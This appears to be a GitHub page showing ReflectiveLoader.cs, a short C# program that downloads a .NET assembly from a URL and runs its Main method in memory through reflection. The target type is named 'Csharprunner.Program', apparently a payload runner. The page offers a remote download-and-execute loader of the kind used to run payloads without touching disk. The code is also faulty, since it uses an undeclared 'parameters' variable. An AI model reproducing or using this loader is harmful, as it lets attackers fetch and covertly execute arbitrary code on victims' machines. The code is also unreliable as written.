-
Notifications
You must be signed in to change notification settings - Fork 0
/
ReflectiveLoader.cs
40 lines (32 loc) · 1.04 KB
/
ReflectiveLoader.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Reflection;
using System.Net;
namespace ReflectiveLoader
{
class Program
{
static void Main(string[] args)
{
// This is where you get you get your assembly from (CsharpRunner as an example here)
var url = "";
using (var wc = new WebClient())
{
Assembly a = Assembly.Load(wc.DownloadData(url));
// Get the type to use.
Type myType = a.GetType("Csharprunner.Program");
// Get the method to call.
MethodInfo myMethod = myType.GetMethod("Main");
if (myMethod == null)
{
throw new Exception("No such method");
}
object obj = Activator.CreateInstance(myType);
parameters[0] = new string[] { "" };
var r = myMethod.Invoke(obj, parameters);
}
}
}
}